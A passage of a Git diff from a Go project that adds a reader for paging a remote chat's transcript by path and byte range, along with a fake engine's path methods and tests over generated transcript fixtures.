graph. The fake snapshot names +// its files directly, so the path to a file is the snapshot and the file's own +// object; a chunked file adds its chunks. + +var ( + _ PathEngine = (*FakeEngine)(nil) + _ PathEngine = cellstore.SyncEngine{} +) + +// WantPath implements PathEngine: the snapshot, then the file's object, then — +// when ranged — the chunks overlapping [start, end). It never follows the +// snapshot's parent or any other file, which is the whole point of it. +func (f *FakeEngine) WantPath(_ context.Context, c cell.Cell, head, path string, ranged bool, start, end int64) ([]string, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + snap, ok, err := fc.snapAt(head) + if err != nil || !ok { + return []string{head}, err + } + rid, ok := snap.Files[path] + if !ok { + return nil, fmt.Errorf("fake engine: %w: %s", ErrNoPath, path) + } + raw, ok := fc.objects[rid] + if !ok { + return []string{rid}, nil + } + kind, payload, err := unpack(raw) + if err != nil || !ranged || kind != kindFile { + return nil, err + } + var idx fileIndex + if err := json.Unmarshal(payload, &idx); err != nil { + return nil, err + } + var want []string + at := int64(0) + for _, ch := range idx.Chunks { + if at < end && at+ch.Len > start { + if _, held := fc.objects[ch.RID]; !held { + want = append(want, ch.RID) + } + } + at += ch.Len + } + return want, nil +} + +// Peek implements PathEngine without the network: an object on the way that +// is not held is ErrIncomplete. +func (f *FakeEngine) Peek(_ context.Context, c cell.Cell, head, path string) (Peek, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + idx, err := fc.indexAt(head, path) + if err != nil { + return Peek{}, err + } + out := Peek{Kind: "file", Len: idx.Len} + at := int64(0) + for _, ch := range idx.Chunks { + _, held := fc.objects[ch.RID] + out.Chunks = append(out.Chunks, PeekChunk{Start: at, End: at + ch.Len, Held: held}) + at += ch.Len + } + return out, nil +} + +// ReadRange implements PathEngine from held chunks only. +func (f *FakeEngine) ReadRange(_ context.Context, c cell.Cell, head, path string, start, end int64, out string) (int64, error) { + f.mu.Lock() + defer f.mu.Unlock() + fc := f.cell(c) + idx, err := fc.indexAt(head, path) + if err != nil { + return 0, err + } + end = min(end, idx.Len) + var buf []byte + at := int64(0) + for _, ch := range idx.Chunks { + if at < end && at+ch.Len > start { + raw, held := fc.objects[ch.RID] + if !held { + return 0, fmt.Errorf("fake engine: %w: chunk %s", ErrIncomplete, ch.RID) + } + _, piece, _ := unpack(raw) + lo, hi := max(start-at, 0), min(end-at, ch.Len) + buf = append(buf, piece[lo:hi]...) + } + at += ch.Len + } + return int64(len(buf)), os.WriteFile(out, buf, 0o600) +} + +// ImportPath implements PathEngine: the fake's import, which needs no folder. +func (f *FakeEngine) ImportPath(ctx context.Context, c cell.Cell, head, inbox string) (int, error) { + return f.Import(ctx, c, head, inbox) +} + +// snapAt is head's snapshot when it is held. +func (fc *fakeCell) snapAt(head string) (snapshot, bool, error) { + raw, ok := fc.objects[head] + if !ok { + return snapshot{}, false, nil + } + _, payload, err := unpack(raw) + if err != nil { + return snapshot{}, false, err + } + s, err := decodeSnapshot(payload) + return s, err == nil, err +} + +// indexAt is path's chunk list at head; a whole blob is one chunk. +func (fc *fakeCell) indexAt(head, path string) (fileIndex, error) { + snap, ok, err := fc.snapAt(head) + if err != nil { + return fileIndex{}, err + } + if !ok { + return fileIndex{}, fmt.Errorf("fake engine: %w: snapshot %s", ErrIncomplete, head) + } + rid, ok := snap.Files[path] + if !ok { + return fileIndex{}, fmt.Errorf("fake engine: %w: %s", ErrNoPath, path) + } + raw, ok := fc.objects[rid] + if !ok { + return fileIndex{}, fmt.Errorf("fake engine: %w: index %s", ErrIncomplete, rid) + } + kind, payload, err := unpack(raw) + if err != nil { + return fileIndex{}, err + } + if kind != kindFile { + return fileIndex{Len: int64(len(payload)), Chunks: []fileChunk{{RID: rid, Len: int64(len(payload))}}}, nil + } + var idx fileIndex + return idx, json.Unmarshal(payload, &idx) +} diff --git a/internal/cellsync/read.go b/internal/cellsync/read.go new file mode 100644 index 0000000000..cb4cb729b7 --- /dev/null +++ b/internal/cellsync/read.go @@ -0,0 +1,448 @@ +package cellsync + +// ── READING A CHAT THAT LIVES ON ANOTHER COMPUTER ─────────────────────────── +// +// The desktop shows the transcript of a chat another paired computer holds, +// newest messages first, older ones as the person scrolls. The only way this +// package had to look inside a remote chat was a take — Fetcher.Complete, the +// whole head — and the whole head is the chat's PROJECT FOLDER, which can be +// gigabytes the person never asked for. Reading what was said must not cost +// the project folder. +// +// So a Reader fetches by PATH and by RANGE (cellstore/pathread.go has the +// engine half): +// +// open snapshot + the trees down to .cell/ + the transcript's index a few KB +// + the chunks under the newest page ~256 KiB–2 MiB +// + the file's first chunk once, for its header line never changes +// more the chunks before the cursor +// update a new head: its small index objects and its new tail chunk. The +// engine cuts files by their content, so a transcript that grew by a +// turn keeps every earlier chunk byte for byte and they are all held. +// +// THE SAME STORE AS A TAKE. A Reader is built over the same Engine a take of the +// chat uses, so what it imports lands where the take's whole-graph want looks: +// continuing a chat after reading it downloads only what the read did not, and +// no byte is paid for twice. (Its INBOX is its own, beside the take's, because a +// strict import refuses files no pass of its own wanted and a take or a watching +// daemon may be filling the shared one at the same moment.) +// +// NO LEASE, NO MATERIALIZE, NO AGENT, NO WORKSPACE FOLDER. A read is a spectator: +// the computer holding the chat is not displaced, nothing is restored, and the +// relay and its encryption are untouched. Whoever is tempted to "simplify" this +// into Fetcher.Complete or a take: that is precisely the cost it exists to avoid +// (docs/design/remote-read/DESIGN.md has the numbers). + +import ( + "bytes" + "context" + "encoding/base64" + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "sort" + "strings" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cellstore" +) + +// Peek and PeekChunk are cellstore's types under the seam's names, as Export is. +type ( + Peek = cellstore.Peek + PeekChunk = cellstore.PeekChunk +) + +// ErrIncomplete and ErrNoPath are the engine's two answers a reader acts on. +var ( + ErrIncomplete = cellstore.ErrIncomplete + ErrNoPath = cellstore.ErrNoPath +) + +// PathEngine is the device-local half of a read: the engine verbs that walk ONE +// path of a head rather than all of it, plus the import a take uses, so read +// objects land in the take's store. cellstore.SyncEngine is the real one and +// FakeEngine stands in for it in tests. +type PathEngine interface { + // WantPath names the rids the store lacks on the way to path and, when + // ranged, the chunks of the file overlapping [start, end). + WantPath(ctx context.Context, c cell.Cell, head, path string, ranged bool, start, end int64) ([]string, error) + // Peek says what the store holds of path, without the network. + Peek(ctx context.Context, c cell.Cell, head, path string) (Peek, error) + // ReadRange writes bytes [start, end) of path to out from held chunks. + ReadRange(ctx context.Context, c cell.Cell, head, path string, start, end int64, out string) (int64, error) + // ImportPath stores the wanted objects the inbox holds: the take's own + // import verb into the take's own store, run without the chat's folder. + ImportPath(ctx context.Context, c cell.Cell, head, inbox string) (int, error) +} + +// Reader brings single files of a chat's head, or ranges of one, from the relay +// into the chat's own store, and reads them back. See the top of this file for +// why it must never become a whole-head fetch. +type Reader struct { + Engine PathEngine + Store blobstore.Store + // Inbox is the take's inbox for a cell; the Reader works in a folder of its + // own beside it (ReadInboxSuffix). + Inbox func(c cell.Cell) string + // ManyMax bounds the rids one GetMany asks for; 0 is blobstore.MaxGetMany. + ManyMax int + // Fetched counts the bytes of every object this Reader pulled from the + // relay. A page reports what it cost through it. + Fetched int64 +} + +// ReadInboxSuffix names the Reader's inbox beside the take's. +const ReadInboxSuffix = ".read" + +// Bring makes the store hold everything path needs at head — the index objects +// on the way to it and, when ranged, the chunks overlapping [start, end) — by +// the want → gather → import loop a take runs, scoped to that path. Objects +// already held are never asked for again. +func (r *Reader) Bring(ctx context.Context, c cell.Cell, head, path string, ranged bool, start, end int64) error { + inbox := r.Inbox(c) + ReadInboxSuffix + if err := os.MkdirAll(inbox, 0o700); err != nil { + return err + } + for { + if err := ctx.Err(); err != nil { + return err + } + want, err := r.Engine.WantPath(ctx, c, head, path, ranged, start, end) + if err != nil { + return err + } + if len(want) == 0 { + return nil + } + if err := r.gather(ctx, inbox, want); err != nil { + return err + } + n, err := r.Engine.ImportPath(ctx, c, head, inbox) + if err != nil { + return err + } + if n == 0 { + // An import that takes nothing would repeat forever. + return errors.New("cellsync: import took none of the wanted objects") + } + } +} + +// gather is Fetcher.gather that also counts the bytes it pulled. +func (r *Reader) gather(ctx context.Context, inbox string, want []string) error { + max := r.ManyMax + if max <= 0 || max > blobstore.MaxGetMany { + max = blobstore.MaxGetMany + } + for len(want) > 0 { + batch := want[:min(len(want), max)] + objects, err := r.Store.GetMany(ctx, batch) + if err != nil { + return fmt.Errorf("cellsync: fetch object %s: %w", batch[0], err) + } + if len(objects) == 0 { + return fmt.Errorf("cellsync: the store answered no object for %s", batch[0]) + } + if err := keep(inbox, objects); err != nil { + return err + } + for _, o := range objects { + r.Fetched += int64(len(o.Bytes)) + } + want = want[len(objects):] + } + return nil +} + +// Peek brings path's index objects and says what the store holds of it. +func (r *Reader) Peek(ctx context.Context, c cell.Cell, head, path string) (Peek, error) { + if err := r.Bring(ctx, c, head, path, false, 0, 0); err != nil { + return Peek{}, err + } + return r.Engine.Peek(ctx, c, head, path) +} + +// Bytes brings and reads bytes [start, end) of path at head. +func (r *Reader) Bytes(ctx context.Context, c cell.Cell, head, path string, start, end int64) ([]byte, error) { + if end <= start { + return nil, nil + } + if err := r.Bring(ctx, c, head, path, true, start, end); err != nil { + return nil, err + } + // The bytes are written beside the inbox, never in it: an import reads + // every file in its inbox as an object it was sent. + inbox := r.Inbox(c) + ReadInboxSuffix + file, err := os.CreateTemp(filepath.Dir(inbox), filepath.Base(inbox)+".range-*") + if err != nil { + return nil, err + } + out := file.Name() + file.Close() + defer os.Remove(out) + if _, err := r.Engine.ReadRange(ctx, c, head, path, start, end, out); err != nil { + return nil, err + } + return os.ReadFile(out) +} + +// ── PAGES OF A TRANSCRIPT ─────────────────────────────────────────────────── + +// TranscriptPage is one page of a remote chat's transcript as bytes ready for +// the session's tail reader (session.ReadTranscriptBytes). +type TranscriptPage struct { + // Segment is the file's header line (when the page does not start the file) + // followed by bytes [Start, End) of it. Start is always the start of a + // person's message line, so a page never opens in the middle of a turn. + Segment []byte + Start, End int64 + // Before is the cursor of the next older page, "" when this page starts + // the file. + Before string + Head string +} + +// More reports whether an older page exists. +func (p TranscriptPage) More() bool { return p.Before != "" } + +// Pager cuts a remote chat's transcript into pages, newest first, by fetching +// chunks from the end backwards until a page holds at least Limit entries. +type Pager struct { + Reader *Reader + // Path is the transcript's path in the head; "" is cell.TranscriptPath. + Path string + // Count says how many entries a person would see in a segment (the app's + // shaping, over session.ReadTranscriptBytes). Nil counts person lines. + Count func(segment []byte) int +} + +// cursor is the opaque before: the head the paging started at and the byte +// offset the next older page ends at. The head rides along so that paging back +// through a chat stays on ONE snapshot while new turns land: offsets are +// offsets into that snapshot's transcript. +type cursor struct { + Head string `json:"h"` + At int64 `json:"o"` +} + +func encodeCursor(c cursor) string { + raw, _ := json.Marshal(c) + return base64.RawURLEncoding.EncodeToString(raw) +} + +// ErrBadCursor is a before this engine did not write. +var ErrBadCursor = errors.New("cellsync: that page cursor is not one this engine wrote") + +func decodeCursor(s string) (cursor, error) { + raw, err := base64.RawURLEncoding.DecodeString(s) + var c cursor + if err != nil || json.Unmarshal(raw, &c) != nil || c.Head == "" || c.At <= 0 { + return cursor{}, ErrBadCursor + } + return c, nil +} + +// CursorHead is the head a before cursor pages through, so a caller reads the +// page at the snapshot the paging began at. +func CursorHead(before string) (string, error) { + c, err := decodeCursor(before) + return c.Head, err +} + +// Page reads the page ending at before ("" is the newest page at head). It holds +// at least limit entries unless it reaches the start of the file; a turn is never +// split, so a page can hold more. +func (p *Pager) Page(ctx context.Context, c cell.Cell, head, before string, limit int) (TranscriptPage, error) { + path := p.Path + if path == "" { + path = cell.TranscriptPath + } + if limit <= 0 { + limit = 1 + } + end := int64(-1) + if before != "" { + cur, err := decodeCursor(before) + if err != nil { + return TranscriptPage{}, err + } + head, end = cur.Head, cur.At + } + page := TranscriptPage{Head: head} + peek, err := p.Reader.Peek(ctx, c, head, path) + if errors.Is(err, ErrNoPath) { + return page, nil + } + if err != nil { + return page, err + } + if peek.Kind != "" && peek.Kind != "file" { + return page, fmt.Errorf("cellsync: %s is not a file in %s", path, head) + } + if end < 0 || end > peek.Len { + end = peek.Len + } + page.End = end + if end == 0 { + return page, nil + } + starts := chunkStarts(peek, end) + header, err := p.header(ctx, c, head, path, peek) + if err != nil { + return page, err + } + // Walk back a chunk at a time. Each step reads [from, end) — the bytes + // already held come from the store, only the new chunk from the relay — and + // looks for the latest place to cut that still gives limit entries. + for i := len(starts) - 1; i >= 0; i-- { + from := starts[i] + buf, err := p.Reader.Bytes(ctx, c, head, path, from, end) + if err != nil { + return page, err + } + cuts := personLines(buf, from) + if from == 0 { + cuts = append([]int64{0}, cuts...) // the file's own start is always a cut + } + if cut, ok := p.latestCut(header, buf, from, cuts, limit); ok || from == 0 { + // THE OLDEST PAGE TAKES THE FILE'S OPENING LINES WITH IT. When the cut + // lands on the earliest person line, all that lies before it is the + // session header and whatever the chat wrote before its first message: + // no entry a person would page back for. Offering it as one more page + // cost the viewer a round trip that answered nothing (seen on two GCP + // machines, 2026-11-16), so the page reaches byte 0 and says there is + // no older page. + if !ok || from == 0 && len(cuts) > 1 && cut <= cuts[1] { + cut = 0 + } + page.Start = cut + page.Segment = withHeader(header, buf[cut-from:], cut) + if cut > 0 { + page.Before = encodeCursor(cursor{Head: head, At: cut}) + } + return page, nil + } + } + return page, nil // unreachable: the first chunk starts at 0 +} + +// latestCut is the largest cut whose segment [cut, end) counts at least limit +// entries. The count only grows as the cut moves back, so it is a binary search +// over the cuts: a few shapings, not one per line. +func (p *Pager) latestCut(header, buf []byte, from int64, cuts []int64, limit int) (int64, bool) { + count := func(cut int64) int { + seg := withHeader(header, buf[cut-from:], cut) + if p.Count != nil { + return p.Count(seg) + } + return len(personLines(seg, 0)) + } + // cuts ascend; find the last index whose count >= limit. + i := sort.Search(len(cuts), func(i int) bool { return count(cuts[i]) < limit }) + if i == 0 { + return 0, false + } + return cuts[i-1], true +} + +// header is the file's first line when it is the session header, which carries +// the format version a reading must check: a page cut from the middle of a file +// written by a newer codeaf must say so, not show a shortened copy. It costs the +// file's first chunk once; that chunk never changes, so it is never fetched again. +func (p *Pager) header(ctx context.Context, c cell.Cell, head, path string, peek Peek) ([]byte, error) { + if peek.Len == 0 { + return nil, nil + } + first := peek.Len + if len(peek.Chunks) > 0 { + first = peek.Chunks[0].End + } + raw, err := p.Reader.Bytes(ctx, c, head, path, 0, min(first, peek.Len)) + if err != nil { + return nil, err + } + line, _, found := bytes.Cut(raw, []byte("\n")) + if !found || !isLine(line, "session", "") { + return nil, nil + } + return append(bytes.Clone(line), '\n'), nil +} + +// withHeader prepends the header line to a segment that does not start the file. +func withHeader(header, seg []byte, at int64) []byte { + if at == 0 || len(header) == 0 { + return bytes.Clone(seg) + } + return append(bytes.Clone(header), seg...) +} + +// chunkStarts are the offsets of the chunks that begin before end, ascending. +// A file the engine reports with no chunk list is one piece. +func chunkStarts(peek Peek, end int64) []int64 { + if len(peek.Chunks) == 0 { + return []int64{0} + } + var out []int64 + for _, ch := range peek.Chunks { + if ch.Start < end { + out = append(out, ch.Start) + } + } + if len(out) == 0 || out[0] != 0 { + out = append([]int64{0}, out...) + } + return out +} + +// personLines are the offsets (from base) of every line in buf that is a +// message the person wrote. The first line of a buffer that does not start the +// file is skipped: it may be the tail of a line split across a chunk boundary. +// A page cuts only at these, so a tool call is never separated from its result. +func personLines(buf []byte, base int64) []int64 { + var out []int64 + at := 0 + if base > 0 { + nl := bytes.IndexByte(buf, '\n') + if nl < 0 { + return nil + } + at = nl + 1 + } + for at < len(buf) { + nl := bytes.IndexByte(buf[at:], '\n') + line := buf[at:] + if nl >= 0 { + line = buf[at : at+nl] + } + if isLine(line, "message", "user") { + out = append(out, base+int64(at)) + } + if nl < 0 { + break + } + at += nl + 1 + } + return out +} + +// isLine reports whether a journal line is of the given type (and role). The +// cheap prefix test keeps a long tool result from being decoded just to learn +// it is not a person's message. +func isLine(line []byte, typ, role string) bool { + line = bytes.TrimSpace(line) + if len(line) == 0 || line[0] != '{' || !bytes.Contains(line, []byte(`"type":"`+typ+`"`)) { + return false + } + var head struct { + Type string `json:"type"` + Role string `json:"role"` + } + if json.Unmarshal(line, &head) != nil { + return false + } + return head.Type == typ && (role == "" || strings.EqualFold(head.Role, role)) +} diff --git a/internal/cellsync/read_real_test.go b/internal/cellsync/read_real_test.go new file mode 100644 index 0000000000..b46787372d --- /dev/null +++ b/internal/cellsync/read_real_test.go @@ -0,0 +1,195 @@ +package cellsync + +import ( + "bytes" + "context" + "crypto/rand" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/home" +) + +// realDevice is one computer's real engine over its own store. +type realDevice struct { + eng cellstore.Engine + sync cellstore.SyncEngine +} + +func newRealDevice(t *testing.T, bin string, daemon bool) realDevice { + eng := cellstore.Engine{Binary: bin, DataRoot: t.TempDir(), Transport: cellstore.Spawn{Binary: bin}} + if daemon { + eng.Transport = nil // the app's transport: the managed daemon, then a spawn + } + keys := cellstore.SyncKeys{CellKey: bytes.Repeat([]byte{7}, 32), Dedup: bytes.Repeat([]byte{9}, 32)} + return realDevice{eng: eng, sync: eng.Sync(keys, cellstore.LedgerName("http://relay", "id_read"))} +} + +// sendTo exports what the relay lacks of head and puts the frames. +func (d realDevice) sendTo(t *testing.T, c cell.Cell, head string, mem *blobstore.Memory) { + t.Helper() + ex, err := d.sync.Export(context.Background(), c, head) + if err != nil { + t.Fatal(err) + } + var paths []string + for _, f := range ex.Frames { + raw, err := os.ReadFile(f.Path) + if err != nil { + t.Fatal(err) + } + if _, err := mem.PutFrame(context.Background(), raw); err != nil { + t.Fatal(err) + } + paths = append(paths, f.Path) + } + if err := d.sync.Published(context.Background(), c, paths); err != nil { + t.Fatal(err) + } +} + +// The read against a real furrow: a chat with a large project folder and a +// multi-megabyte transcript is read on a second computer for a fraction of its +// size, a new turn costs about one chunk, and a take afterwards fetches no +// object the read already brought. It skips green with an engine that cannot +// read a path (the pinned one, until furrow's path reads ship): point +// CODEAF_FURROW at a build of Agent-Field/furrow feat/path-range-read. +// +// It runs twice: over spawned engines, and over the managed daemon the app +// drives the sync verbs through, whose JSON arguments are their own spelling. +func TestReadARemoteChatRealEngine(t *testing.T) { + bin := celltest.Engine(t) + if !cellstore.ReadsPathsAt(bin) { + t.Skipf("engine %s cannot read one path of a snapshot (furrow --json capabilities lacks read)", bin) + } + for _, daemon := range []bool{false, true} { + t.Run(map[bool]string{false: "spawn", true: "daemon"}[daemon], func(t *testing.T) { + // The daemon's socket lives under the codeaf home: never the real one. + t.Setenv(home.EnvVar, t.TempDir()) + t.Setenv("CODEAF_ENGINE_DAEMON", map[bool]string{false: "0", true: "1"}[daemon]) + t.Cleanup(cellstore.StopSpawned) + readARemoteChat(t, bin, daemon) + }) + } +} + +func readARemoteChat(t *testing.T, bin string, daemon bool) { + holder, reader := newRealDevice(t, bin, daemon), newRealDevice(t, bin, daemon) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + project := make([]byte, 12<<20) + if _, err := rand.Read(project); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(c.Root, "big.bin"), project, 0o600); err != nil { + t.Fatal(err) + } + journal := transcriptOfSize(0, 4<<20) + write := func(body string) { + if err := os.WriteFile(filepath.Join(c.Root, cell.TranscriptPath), []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + write(journal) + sealed, err := holder.eng.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + head := sealed.Turn.ID + mem := blobstore.NewMemory() + holder.sendTo(t, c, head, mem) + + store := &asking{Store: mem} + there := cell.Cell{ID: c.ID, Root: filepath.Join(t.TempDir(), "never-made")} + r := &Reader{Engine: reader.sync, Store: store, Inbox: reader.sync.Inbox} + pager := &Pager{Reader: r} + page, err := pager.Page(context.Background(), there, head, "", 20) + if err != nil { + t.Fatal(err) + } + total := int64(len(project) + len(journal)) + t.Logf("first page: %d bytes of transcript [%d,%d), fetched %d of %d (%.1f%%)", len(page.Segment), page.Start, page.End, r.Fetched, total, 100*float64(r.Fetched)/float64(total)) + if !page.More() || !bytes.Contains(page.Segment, []byte(`"type":"session"`)) { + t.Fatalf("newest page reached the start or lost the header: start %d", page.Start) + } + if r.Fetched > 4<<20 { + t.Fatalf("the first page fetched %d bytes; a 12 MiB folder must not be paid for", r.Fetched) + } + if _, err := os.Stat(there.Root); !os.IsNotExist(err) { + t.Fatalf("the read created the chat's folder: %v", err) + } + older, err := pager.Page(context.Background(), there, head, page.Before, 20) + if err != nil { + t.Fatal(err) + } + if older.End != page.Start || older.Start >= older.End { + t.Fatalf("the older page is [%d,%d), want it to end at %d", older.Start, older.End, page.Start) + } + read := map[string]bool{} + for _, rid := range store.take() { + read[rid] = true + } + + // One more turn: the read pays its index objects and its new tail. + journal += transcriptOfSize(1000, 6<<10) + write(journal) + next, err := holder.eng.Seal(context.Background(), c, cellstore.TurnInfo{}) + if err != nil { + t.Fatal(err) + } + holder.sendTo(t, c, next.Turn.ID, mem) + r.Fetched = 0 + newer, err := pager.Page(context.Background(), there, next.Turn.ID, "", 20) + if err != nil { + t.Fatal(err) + } + t.Logf("after a new turn: fetched %d bytes", r.Fetched) + if !bytes.Contains(newer.Segment, []byte("question 1000")) { + t.Fatal("the new turn is not on the newest page") + } + if r.Fetched > 2<<20 { + t.Fatalf("a new turn cost %d bytes", r.Fetched) + } + for _, rid := range store.take() { + if read[rid] { + t.Fatalf("%s fetched twice", rid) + } + read[rid] = true + } + + // The take afterwards: the same store, so no object is fetched again. A + // take makes the chat's folder before it fetches (syncsetup's landing); + // the read never did. + if err := os.MkdirAll(there.Root, 0o700); err != nil { + t.Fatal(err) + } + f := &Fetcher{Engine: reader.sync, Store: store, Inbox: reader.sync.Inbox} + if err := f.Complete(context.Background(), there, next.Turn.ID); err != nil { + t.Fatal(err) + } + took := store.take() + for _, rid := range took { + if read[rid] { + t.Fatalf("the take fetched %s again, which the read already held", rid) + } + } + t.Logf("the take then fetched %d objects, none of the read's %d", len(took), len(read)) +} + +// transcriptOfSize is turns from `from` on until the journal is at least size +// bytes; turn 0 carries the header. +func transcriptOfSize(from, size int) string { + var b strings.Builder + for i := from; b.Len() < size; i++ { + b.WriteString(transcript(i, 1)) + } + return b.String() +} diff --git a/internal/cellsync/read_test.go b/internal/cellsync/read_test.go new file mode 100644 index 0000000000..dd7fde34a1 --- /dev/null +++ b/internal/cellsync/read_test.go @@ -0,0 +1,352 @@ +package cellsync + +import ( + "bytes" + "context" + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "testing" + + "github.com/Agent-Field/codeaf/internal/blobstore" + "github.com/Agent-Field/codeaf/internal/cell" +) + +// asking is a store that remembers every rid a GetMany asked for, which is +// what a read cost on the wire. +type asking struct { + blobstore.Store + mu sync.Mutex + rids []string +} + +func (a *asking) GetMany(ctx context.Context, rids []string) ([]blobstore.Object, error) { + got, err := a.Store.GetMany(ctx, rids) + a.mu.Lock() + for _, o := range got { + a.rids = append(a.rids, o.RID) + } + a.mu.Unlock() + return got, err +} + +func (a *asking) take() []string { + a.mu.Lock() + defer a.mu.Unlock() + out := a.rids + a.rids = nil + return out +} + +// readRig is a holder (A) that seals and publishes a chat, and a reader (B) +// with its own engine over the same relay. +type readRig struct { + t *testing.T + a, b *FakeEngine + ca, cb cell.Cell + mem *blobstore.Memory + store *asking + reader *Reader + pager *Pager + files map[string]string +} + +const readChunk = 256 + +func newReadRig(t *testing.T) *readRig { + t.Helper() + r := &readRig{t: t, mem: blobstore.NewMemory(), files: map[string]string{}} + r.store = &asking{Store: r.mem} + r.a, r.b = NewFakeEngine(t.TempDir()), NewFakeEngine(t.TempDir()) + r.a.ChunkSize = readChunk + // The reader's chat folder is never created: a read must not need it. + r.ca = cell.Cell{ID: cellID, Root: t.TempDir()} + r.cb = cell.Cell{ID: cellID, Root: filepath.Join(t.TempDir(), "never-made")} + inbox := t.TempDir() + r.reader = &Reader{Engine: r.b, Store: r.store, Inbox: func(c cell.Cell) string { return filepath.Join(inbox, c.ID) }} + r.pager = &Pager{Reader: r.reader} + return r +} + +// publish seals the files and sends what the relay lacks. +func (r *readRig) publish() string { + r.t.Helper() + head := r.a.Seal(r.ca, r.files) + ex, err := r.a.Export(context.Background(), r.ca, head) + if err != nil { + r.t.Fatal(err) + } + var paths []string + for _, f := range ex.Frames { + raw, err := os.ReadFile(f.Path) + if err != nil { + r.t.Fatal(err) + } + if _, err := r.mem.PutFrame(context.Background(), raw); err != nil { + r.t.Fatal(err) + } + paths = append(paths, f.Path) + } + if err := r.a.Published(context.Background(), r.ca, paths); err != nil { + r.t.Fatal(err) + } + return head +} + +// transcript is a journal of n turns: a header, then per turn a person's line, +// an answer with a call, the call's result and a long answer that spans chunks. +func transcript(from, n int) string { + var b strings.Builder + if from == 0 { + b.WriteString(`{"type":"session","version":1,"id":"abc"}` + "\n") + } + for i := from; i < from+n; i++ { + fmt.Fprintf(&b, `{"type":"message","role":"user","content":"question %d"}`+"\n", i) + fmt.Fprintf(&b, `{"type":"message","role":"assistant","content":"looking","toolCalls":[{"id":"bash:%d"}]}`+"\n", i) + fmt.Fprintf(&b, `{"type":"message","role":"tool","toolCallId":"bash:%d","content":"%s"}`+"\n", i, strings.Repeat("x", 40+i%7*60)) + fmt.Fprintf(&b, `{"type":"message","role":"assistant","content":"answer %d %s"}`+"\n", i, strings.Repeat("y", 300)) + } + return b.String() +} + +// project is a folder far larger than the transcript, which a read must never +// touch. +func (r *readRig) project() { + r.files["work/big.bin"] = strings.Repeat("0123456789abcdef", 4096) + r.files["work/src/main.go"] = "package main\n" +} + +// rids the holder's head reaches for one path: its index and its chunks. +func (r *readRig) pathRIDs(head, path string) (index string, chunks map[string]bool) { + r.a.mu.Lock() + defer r.a.mu.Unlock() + fc := r.a.cell(r.ca) + snap, _, _ := fc.snapAt(head) + index = snap.Files[path] + idx, _ := fc.indexAt(head, path) + chunks = map[string]bool{} + for _, ch := range idx.Chunks { + chunks[ch.RID] = true + } + return index, chunks +} + +func TestReadFetchesOnlyTheTranscriptsPathAndTheNewestChunks(t *testing.T) { + r := newReadRig(t) + r.project() + r.files[cell.TranscriptPath] = transcript(0, 3) + r.publish() + r.files[cell.TranscriptPath] = transcript(0, 40) + head := r.publish() + + page, err := r.pager.Page(context.Background(), r.cb, head, "", 3) + if err != nil { + t.Fatal(err) + } + if !page.More() || page.Start == 0 { + t.Fatalf("a 40-turn chat's newest page reached the start: %+v", page.Start) + } + index, chunks := r.pathRIDs(head, cell.TranscriptPath) + allowed := map[string]bool{head: true, index: true} + for rid := range chunks { + allowed[rid] = true + } + got := r.store.take() + tail := 0 + for _, rid := range got { + if !allowed[rid] { + t.Fatalf("the read fetched %s, which is not on the transcript's path (the project folder or the history)", rid) + } + if chunks[rid] { + tail++ + } + } + // The newest page and the header's first chunk, never the whole file. + if tail >= len(chunks)/2 { + t.Fatalf("fetched %d of the transcript's %d chunks for a 3-entry page", tail, len(chunks)) + } + if r.reader.Fetched <= 0 { + t.Fatal("the read reports it fetched nothing") + } + if r.b.Materialized != 0 { + t.Fatal("a read materialized the chat") + } + if _, err := os.Stat(r.cb.Root); !os.IsNotExist(err) { + t.Fatalf("a read created the chat's folder: %v", err) + } + if !bytes.HasPrefix(page.Segment, []byte(`{"type":"session"`)) { + t.Fatalf("a page cut from the middle lost the header line: %.80q", page.Segment) + } + if !bytes.Contains(page.Segment, []byte("question 39")) { + t.Fatal("the newest page does not hold the newest turn") + } +} + +func TestPagesWalkBackToTheStartAcrossSplitLinesWithoutGapOrOverlap(t *testing.T) { + r := newReadRig(t) + whole := transcript(0, 24) // a whole number of pages: the oldest one ends on the first message + r.files[cell.TranscriptPath] = whole + head := r.publish() + header := `{"type":"session","version":1,"id":"abc"}` + "\n" + + var parts []string + before, end := "", int64(len(whole)) + for pages := 0; ; pages++ { + if pages > 100 { + t.Fatal("paging never reached the start") + } + page, err := r.pager.Page(context.Background(), r.cb, head, before, 4) + if err != nil { + t.Fatal(err) + } + if page.End != end { + t.Fatalf("page ends at %d, want %d (the previous page's start)", page.End, end) + } + seg := string(page.Segment) + if page.Start > 0 { + if !strings.HasPrefix(seg, header) { + t.Fatalf("page at %d has no header", page.Start) + } + seg = strings.TrimPrefix(seg, header) + if !strings.HasPrefix(seg, `{"type":"message","role":"user"`) { + t.Fatalf("page at %d does not open on a person's line: %.60q", page.Start, seg) + } + } + if seg != whole[page.Start:page.End] { + t.Fatalf("page [%d,%d) is not those bytes of the file", page.Start, page.End) + } + // NO PAGE IS EMPTY: a page that reaches the first message also takes the + // header before it, rather than leaving it as one more page to fetch. + if strings.Count(seg, `"role":"user"`) == 0 { + t.Fatalf("page [%d,%d) holds no message", page.Start, page.End) + } + if n := strings.Count(seg, `"role":"user"`); page.More() && n < 4 { + t.Fatalf("page at %d holds %d turns, want at least the limit", page.Start, n) + } + parts = append([]string{seg}, parts...) + if !page.More() { + if page.Start != 0 { + t.Fatalf("the last page starts at %d", page.Start) + } + break + } + before, end = page.Before, page.Start + } + if strings.Join(parts, "") != whole { + t.Fatal("the pages together are not the transcript") + } + // Every chunk was fetched once across all the pages. + _, chunks := r.pathRIDs(head, cell.TranscriptPath) + seen := map[string]int{} + for _, rid := range r.store.take() { + seen[rid]++ + if seen[rid] > 1 